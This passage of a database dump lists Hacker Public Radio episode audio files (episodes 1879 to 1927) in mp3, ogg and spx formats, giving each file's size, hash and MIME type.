(1879,'hpr1879.ogg','ogg',8833784,'ae01c01d7f1ed2230b0b3749de8fb18941715b37','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1879,'hpr1879.spx','spx',3352791,'c7bfda2398455d83456d82fc8e9a02e9b5342ede','application/ogg; charset=binary','Ogg data, Speex audio'),
(1880,'hpr1880.mp3','mp3',20217896,'b9b23e74877a0fcb98e8f5c302732828f8b45e80','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1880,'hpr1880.ogg','ogg',22786375,'301f5e2969c18de063f8645ffc4b8bbc10629bce','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1880,'hpr1880.spx','spx',9029256,'61cd1911411fb5b8fae3393062cefcb37a48e952','application/ogg; charset=binary','Ogg data, Speex audio'),
(1881,'hpr1881.mp3','mp3',8389240,'f577376e243b69ec3b335ced768cca02ba4b1c2b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1881,'hpr1881.ogg','ogg',6238489,'3df00ba87a1ba6e1c5e783418979321e46ce5e1f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1881,'hpr1881.spx','spx',3746473,'9236464cf52bf8a55f169aa320a409f69a514cd2','application/ogg; charset=binary','Ogg data, Speex audio'),
(1882,'hpr1882.mp3','mp3',13605582,'0134f793064189cb01dbff034b6bab5127649ead','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1882,'hpr1882.ogg','ogg',14773464,'ac24e276c8abc3568c554be21e45e0ba0e897448','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1882,'hpr1882.spx','spx',6076148,'3c2aea7c91162cbbdf9045d9c20f5177390731de','application/ogg; charset=binary','Ogg data, Speex audio'),
(1883,'hpr1883.mp3','mp3',8909605,'b1c08a1878570b1f2bd087e7d9b8aa0259019cba','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1883,'hpr1883.ogg','ogg',9291191,'85df18d0ee37215db2fefa3fea3ad0717e89437e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1883,'hpr1883.spx','spx',3978855,'50ef5e1e9909bef9cd6f5ccf14c9b40370deb934','application/ogg; charset=binary','Ogg data, Speex audio'),
(1884,'hpr1884.mp3','mp3',8664655,'c030fcafe5d27e0e408c67369a0ceef37fb88fac','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1884,'hpr1884.ogg','ogg',9584919,'12603f8f73a8cba85dfbe6b8351541a165f26b41','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1884,'hpr1884.spx','spx',3869427,'391c3d31dcb8297a4dae9d3bff3a46da53e7fb19','application/ogg; charset=binary','Ogg data, Speex audio'),
(1885,'hpr1885.mp3','mp3',7895799,'ddb436314326c59418ea22264271e3f2c6cb4373','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1885,'hpr1885.ogg','ogg',9328027,'e68e229af2370de6ad0663e4e7682ab398b2aa38','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1885,'hpr1885.spx','spx',3526064,'f0ee9363d2bae6aac927fd4ad1c16e98eeeebf0f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1886,'hpr1886.mp3','mp3',32165293,'02a5644aef5a394244ae8abffb14b9ed47f1a431','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1886,'hpr1886.ogg','ogg',32437865,'89aa901e8759174b5fd914d71ac6e3a3efc58652','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1886,'hpr1886.spx','spx',14365183,'89ab43a255bd214f68b802f906f700a934f3c4f1','application/ogg; charset=binary','Ogg data, Speex audio'),
(1887,'hpr1887.mp3','mp3',6226670,'3d7defd5f435f57c8599ad8ecf8498e1efe5557f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1887,'hpr1887.ogg','ogg',6894847,'70f167574b23a9362f100470f69255dd08d4f347','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1887,'hpr1887.spx','spx',2780674,'6fbc785261499f378b189433a801b78971996cb4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1888,'hpr1888.mp3','mp3',7144116,'b16356261ebac21dbd18a188b02ba54ae97cfb8b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1888,'hpr1888.ogg','ogg',8446508,'fdaf19178bef80a0e2c2633098c06f78cf8186d0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1888,'hpr1888.spx','spx',3190363,'e666b2fb58a40bfa929daec0e51763b699434576','application/ogg; charset=binary','Ogg data, Speex audio'),
(1889,'hpr1889.mp3','mp3',7375038,'a7acab114edded34b4e5478a43cf751252f741d3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1889,'hpr1889.ogg','ogg',8323663,'62a4798410eb528a9836656c5d01709df7dff9e9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1889,'hpr1889.spx','spx',3293562,'482c082f30b4517347d1c7d384dc74f1dd212202','application/ogg; charset=binary','Ogg data, Speex audio'),
(1890,'hpr1890.mp3','mp3',10049787,'432bc5a48e0f885baf0f4e5f63e3b8caa341d35f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1890,'hpr1890.ogg','ogg',10519366,'7a41a0c7b1076119a0d8bcb3882e9ec56bbd2c6a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1890,'hpr1890.spx','spx',4488058,'93184181cfc1211e121c5349f0cc28590854d715','application/ogg; charset=binary','Ogg data, Speex audio'),
(1891,'hpr1891.mp3','mp3',22442036,'8cf30b1c58d03986a5ba50c86616ce7fda5d22f7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1891,'hpr1891.ogg','ogg',23560524,'f5f6e3fcca3c78e65b986b8b022eacc1032a452e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1891,'hpr1891.spx','spx',10022569,'05bed01974bc6d40fcff285b59ab5034908eda50','application/ogg; charset=binary','Ogg data, Speex audio'),
(1892,'hpr1892.mp3','mp3',5921759,'11af26d647bc928a29da31d25fae0165a3ea06b9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1892,'hpr1892.ogg','ogg',6258846,'1e68804181315d67851b6f471b309c95aa4c8c24','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1892,'hpr1892.spx','spx',2644475,'2d26ed10c24b2e7bb7727d2c9bb74120e548a299','application/ogg; charset=binary','Ogg data, Speex audio'),
(1893,'hpr1893.mp3','mp3',2873806,'42351cf7e12e96ba3d1114eeb6bfef2e7a8e546b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1893,'hpr1893.ogg','ogg',3144099,'87dfb7b7a6cd1fe641349e78e9b3b325e956502f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1893,'hpr1893.spx','spx',1283219,'3660f982d7c4a3e0b4f0b1bf162216ec76264fb4','application/ogg; charset=binary','Ogg data, Speex audio'),
(1894,'hpr1894.mp3','mp3',30267134,'5daaf6c7a5d3363db9c9245e0fcafd7662945efe','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1894,'hpr1894.ogg','ogg',29804888,'64ada6c6597c4fb5decd9c3f45b1aeca5c745cf3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1894,'hpr1894.spx','spx',13517415,'47c9c15c4c84b682c298fc98a2094f8496ddc01d','application/ogg; charset=binary','Ogg data, Speex audio'),
(1895,'hpr1895.mp3','mp3',8823493,'917628f823edd71c7ad48b90c8c878e5e763f39b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1895,'hpr1895.ogg','ogg',10357824,'2cc8bb6b02f3042dba2f3953cd2b67098b0df047','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1895,'hpr1895.spx','spx',3940402,'99aee2cbd288b8e4b9a43e66c40cfa7a361cf7f3','application/ogg; charset=binary','Ogg data, Speex audio'),
(1896,'hpr1896.mp3','mp3',3084926,'a11a8033ba2fbfa5d9f7bbcfdf2666bc901dec28','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1896,'hpr1896.ogg','ogg',3674727,'878bdf100ea72aeafe4613872438f2e3e00d8164','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1896,'hpr1896.spx','spx',1377513,'e666a83a73fe407ecc7e6a46846ef3d93e765d1f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1897,'hpr1897.mp3','mp3',11946903,'8afee09d53bf9d46afebe87157c9da510993c7b1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1897,'hpr1897.ogg','ogg',11413982,'a6429c0902266265fba6447c1e7ca7f266e5dee9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1897,'hpr1897.spx','spx',5335331,'ae7af3cb8f3daaff88c79059cee4426a06355354','application/ogg; charset=binary','Ogg data, Speex audio'),
(1898,'hpr1898.mp3','mp3',4198737,'59654ad0cfa3fd0460984f5a5830718bc0b9aa42','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1898,'hpr1898.ogg','ogg',4485549,'020f147fe788d0891fe4d8e331e82e307778a9d8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1898,'hpr1898.spx','spx',1874879,'a8abe150768864b4bcb370c6f2cdeb024586ac9c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1899,'hpr1899.mp3','mp3',6293591,'549f396aa8b981e2c4a9b9f954a7d88b6de5dfd1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1899,'hpr1899.ogg','ogg',7697523,'0a663db4e1a1fcc7441c6d9c97e67dd24f888c3c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1899,'hpr1899.spx','spx',2810519,'6773d6a804ab90998a674e9869b6316fd720bd76','application/ogg; charset=binary','Ogg data, Speex audio'),
(1900,'hpr1900.mp3','mp3',9150310,'9454f0c3be4871dc54413ef6ac85447a759f963a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1900,'hpr1900.ogg','ogg',10738532,'efce7dd2784f2cbbba0065779487bf61c971da61','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1900,'hpr1900.spx','spx',4086373,'46bdaad4146b98815de09468079e8bee76c4df57','application/ogg; charset=binary','Ogg data, Speex audio'),
(1901,'hpr1901.mp3','mp3',3407343,'360d8c4c66e576c22c50fa51b9d968c3dfefe270','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1901,'hpr1901.ogg','ogg',3410527,'45e832dbb85e93d5c709264b34567af514dd05bd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1901,'hpr1901.spx','spx',1521457,'2716dffc99f09946f2ef69046bdc3c3f495fe737','application/ogg; charset=binary','Ogg data, Speex audio'),
(1902,'hpr1902.mp3','mp3',12355201,'be0e4bc7eeeb454a49c97c001bef676a97f97049','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1902,'hpr1902.ogg','ogg',14750424,'c987d69933acbb113dc554e57598193e11bab8a1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1902,'hpr1902.spx','spx',5517635,'0932b05f2da31bc0bd219b8fc821a01a67c1edfb','application/ogg; charset=binary','Ogg data, Speex audio'),
(1903,'hpr1903.mp3','mp3',15131725,'72e01806c184ed87c4355cfe670370b95f0d2f3b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1903,'hpr1903.ogg','ogg',16627890,'ac03e05185d90658dc47373772f847a5433e06ac','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1903,'hpr1903.spx','spx',6757658,'953b4813993e877fd72230088ad3652648fec20f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1904,'hpr1904.mp3','mp3',4605042,'56bdee86e7bcfa62458abb195a15e3f59f3790b7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1904,'hpr1904.ogg','ogg',4956582,'8b31ebf96aaffb9208fcc2b923d126854d27cf88','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1904,'hpr1904.spx','spx',2056358,'5c70705b105f1e65e4c3aff35f5c8e657ebef150','application/ogg; charset=binary','Ogg data, Speex audio'),
(1905,'hpr1905.mp3','mp3',7953270,'38daaf1e88844f7212d20e6bf3945518dee5e021','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1905,'hpr1905.ogg','ogg',9346755,'26d3b561a759cf22ae1961df9c8e84f4d009d2c5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1905,'hpr1905.spx','spx',3551717,'ba71c0488e13db2df5b124c09097a4a61f896292','application/ogg; charset=binary','Ogg data, Speex audio'),
(1906,'hpr1906.mp3','mp3',9621396,'b351accac9f6162eef7a6e78002fb299bdb663e2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1906,'hpr1906.ogg','ogg',11388244,'e98d3a145c97260c53dc913bdc8564487fcc9540','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1906,'hpr1906.spx','spx',4296793,'db3a6e35f823cf8fb3460b0e1fd70bb7553f351a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1907,'hpr1907.mp3','mp3',3193781,'ac25df94c9ae72d8940325862a1302eb7d71dc88','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1907,'hpr1907.ogg','ogg',3468698,'b13050468bef2800c1042c65c7b1ae9ea01e99fd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1907,'hpr1907.spx','spx',1426093,'ace402b59fa45a6efeeefb68575d89e1bbf5d245','application/ogg; charset=binary','Ogg data, Speex audio'),
(1908,'hpr1908.mp3','mp3',4643470,'24268a7143214cc0a084633c37377bd5a41bc050','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1908,'hpr1908.ogg','ogg',5113117,'487d9f9b67f8c1f10081506d5662809ab3db9872','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1908,'hpr1908.spx','spx',2073553,'c14bf884b941b49b60f9df6d211d07df16890b30','application/ogg; charset=binary','Ogg data, Speex audio'),
(1909,'hpr1909.mp3','mp3',14645914,'9bbdf02d6c4950182dca68eed93150867f3fcc95','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1909,'hpr1909.ogg','ogg',17547127,'db5aee5df04e86b4e8cbb9549b74b709a2b82f1a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1909,'hpr1909.spx','spx',6540721,'ffb550a17fe5456b0e833730381854814c417112','application/ogg; charset=binary','Ogg data, Speex audio'),
(1910,'hpr1910.mp3','mp3',6599731,'79c65ec8fc0260c832687fd6478cc493a7afddce','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1910,'hpr1910.ogg','ogg',6681986,'31001d4240de6d95cd757f2df759c2dad5df4956','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1910,'hpr1910.spx','spx',2947262,'1dd2dccc5e8b1400902f7f9dc362178366ced925','application/ogg; charset=binary','Ogg data, Speex audio'),
(1911,'hpr1911.mp3','mp3',8334472,'1c69837b3420ba2bd8f20653e25f30b0f40dc841','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1911,'hpr1911.ogg','ogg',9190609,'01b79a06e7cb05ad0eb77322d49ee84e4f657dda','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1911,'hpr1911.spx','spx',3722013,'b46009b5e401767345e464978897982cacee19f3','application/ogg; charset=binary','Ogg data, Speex audio'),
(1912,'hpr1912.mp3','mp3',4088431,'3eb2f891fecfcda9bc490bd131e8eb8b624f5c63','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1912,'hpr1912.ogg','ogg',4576385,'a050a20a9e7f6b60c3fc7d7e85154d5a71818137','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1912,'hpr1912.spx','spx',1825672,'7cb4100eec162f3e534411409a94bc3810255e47','application/ogg; charset=binary','Ogg data, Speex audio'),
(1913,'hpr1913.mp3','mp3',2731089,'8f37f1dd8664e0893109d4fbaf3ebff0e7acc672','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1913,'hpr1913.ogg','ogg',3065671,'9584ee01a5418bfab8a3a78ddae7d7500e14bbe3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1913,'hpr1913.spx','spx',1219498,'85f89c9eb2b76c45539ed6b1894acb5cb32ff18c','application/ogg; charset=binary','Ogg data, Speex audio'),
(1914,'hpr1914.mp3','mp3',4743135,'3bf30c75617d195e5166b27c1e8a763038747028','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1914,'hpr1914.ogg','ogg',5179503,'c2c7c035d136685d80cc7ec9ed718d582017525b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1914,'hpr1914.spx','spx',2117994,'a80a6c0ed7205870dd1e8c5b1c62b1ed156e7e86','application/ogg; charset=binary','Ogg data, Speex audio'),
(1915,'hpr1915.mp3','mp3',8568290,'da1a1bf995c6d588910622d8f1b494a165c68675','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1915,'hpr1915.ogg','ogg',9982583,'d87f9b76076e9b0a64903ccc47debbc1e010dfbd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1915,'hpr1915.spx','spx',3826388,'bfaecc4d02d40fe195cc96700a28b5ec93ec71a6','application/ogg; charset=binary','Ogg data, Speex audio'),
(1916,'hpr1916.mp3','mp3',55938750,'137b78cd4890822cc91b422e95dabe5771e8bae0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1916,'hpr1916.ogg','ogg',56528752,'17b2a6b201d143ec859f67f34b743650b0c6de9c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1916,'hpr1916.spx','spx',24982501,'c4dcc9e2bc5aaa33e37842fe5c9f2e6951c1a1f2','application/ogg; charset=binary','Ogg data, Speex audio'),
(1917,'hpr1917.mp3','mp3',7374385,'2557344229df6e364f4fff027396e816471e23f2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1917,'hpr1917.ogg','ogg',7013534,'d387835470ece648500ef4c526fdd56b69cb31d6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1917,'hpr1917.spx','spx',3293180,'23f42c6934afab588654d2df5688be80f74ca49f','application/ogg; charset=binary','Ogg data, Speex audio'),
(1918,'hpr1918.mp3','mp3',2637674,'209f16844fa63573db01bc5d4f829b8ead537900','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1918,'hpr1918.ogg','ogg',3168042,'fbb00bb695fb2d9b196f8980b031ad1d3b91aa9d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1918,'hpr1918.spx','spx',1177763,'0b828d970661b183632194ef0e62469e64d4fbf5','application/ogg; charset=binary','Ogg data, Speex audio'),
(1919,'hpr1919.mp3','mp3',3334605,'ccd98eed4d6f34a9d2f8e4cfaea769f59ac27ef1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1919,'hpr1919.ogg','ogg',3861420,'8dea1b09c0e27a7a366d80b24910a2c02c826fd1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1919,'hpr1919.spx','spx',1489020,'10726d461b50f6fcc2bc0c1e16314c18a257d80b','application/ogg; charset=binary','Ogg data, Speex audio'),
(1920,'hpr1920.mp3','mp3',10043302,'ce1cd1dc813964cd4ce77df476a39be2340208f6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1920,'hpr1920.ogg','ogg',11481922,'c69da488e82ab7cfc148680db6af3cb3ffd9e5fe','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1920,'hpr1920.spx','spx',4485184,'962ed0a4926fdd09134f6dc9c68ef84cc1b4ebe0','application/ogg; charset=binary','Ogg data, Speex audio'),
(1921,'hpr1921.mp3','mp3',6664296,'a3d1da76295aab63e407922e752235a5da6e6896','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1921,'hpr1921.ogg','ogg',7572795,'ac67dcecf6c31e78e2cbb70e45b1a62b1bd6bf25','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1921,'hpr1921.spx','spx',2976054,'fcd1da04c08341346c5cb022f2cbb771bff22309','application/ogg; charset=binary','Ogg data, Speex audio'),
(1922,'hpr1922.mp3','mp3',1520052,'42d92e397cbadbdaa95d8162cab7eb68a4e5e93b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1922,'hpr1922.ogg','ogg',1670033,'239fb286f7fbe770762b80a5058be918ae67d181','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1922,'hpr1922.spx','spx',678616,'e07c6ea5b21e61610203785d7e7bcbc6b570216a','application/ogg; charset=binary','Ogg data, Speex audio'),
(1923,'hpr1923.mp3','mp3',4120174,'05918313e38317735f8698d438eeb9ad8e87e388','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1923,'hpr1923.ogg','ogg',4587925,'bc689890fcb07cb6b1ed5ef5504e828f25ee4fca','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1923,'hpr1923.spx','spx',1839887,'ade70a0f9ccb1e2aa679522ee9878cceca597703','application/ogg; charset=binary','Ogg data, Speex audio'),
(1924,'hpr1924.mp3','mp3',12038653,'9c181e32fe865e3ca1f76193a62eb3f5f52f684f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1924,'hpr1924.ogg','ogg',14217068,'f70c4f2a8e4749672a6713cb86f2ca4463a0d62b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1924,'hpr1924.spx','spx',5376363,'3e26f983565afeb51464d22f1ed55477ac307334','application/ogg; charset=binary','Ogg data, Speex audio'),
(1925,'hpr1925.mp3','mp3',9750324,'c02e25fcba6d5a50aa47d6f28ab1dde6fbf7360d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1925,'hpr1925.ogg','ogg',9959104,'fec30ad5b32fe45304be666c935152e286d7bb0a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1925,'hpr1925.spx','spx',4354287,'429b1b61602576e6b076f0ac16db33d82533e6d1','application/ogg; charset=binary','Ogg data, Speex audio'),
(1926,'hpr1926.mp3','mp3',6310275,'500b0b92f5d1b320efe5b69977f709d922bfd4fc','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(1926,'hpr1926.ogg','ogg',4826084,'067b532fc2f52b243005f2a52f12473af00c64f0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(1926,'hpr1926.spx','spx',2817994,'9116e6b9ee24cfd108c71a72f187587c871e6968','application/ogg; charset=binary','Ogg data, Speex audio'),
(1927,'hpr1927.mp3','mp3',4104278,'7c24e742f03293ce610df0f59374d71f38820832','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
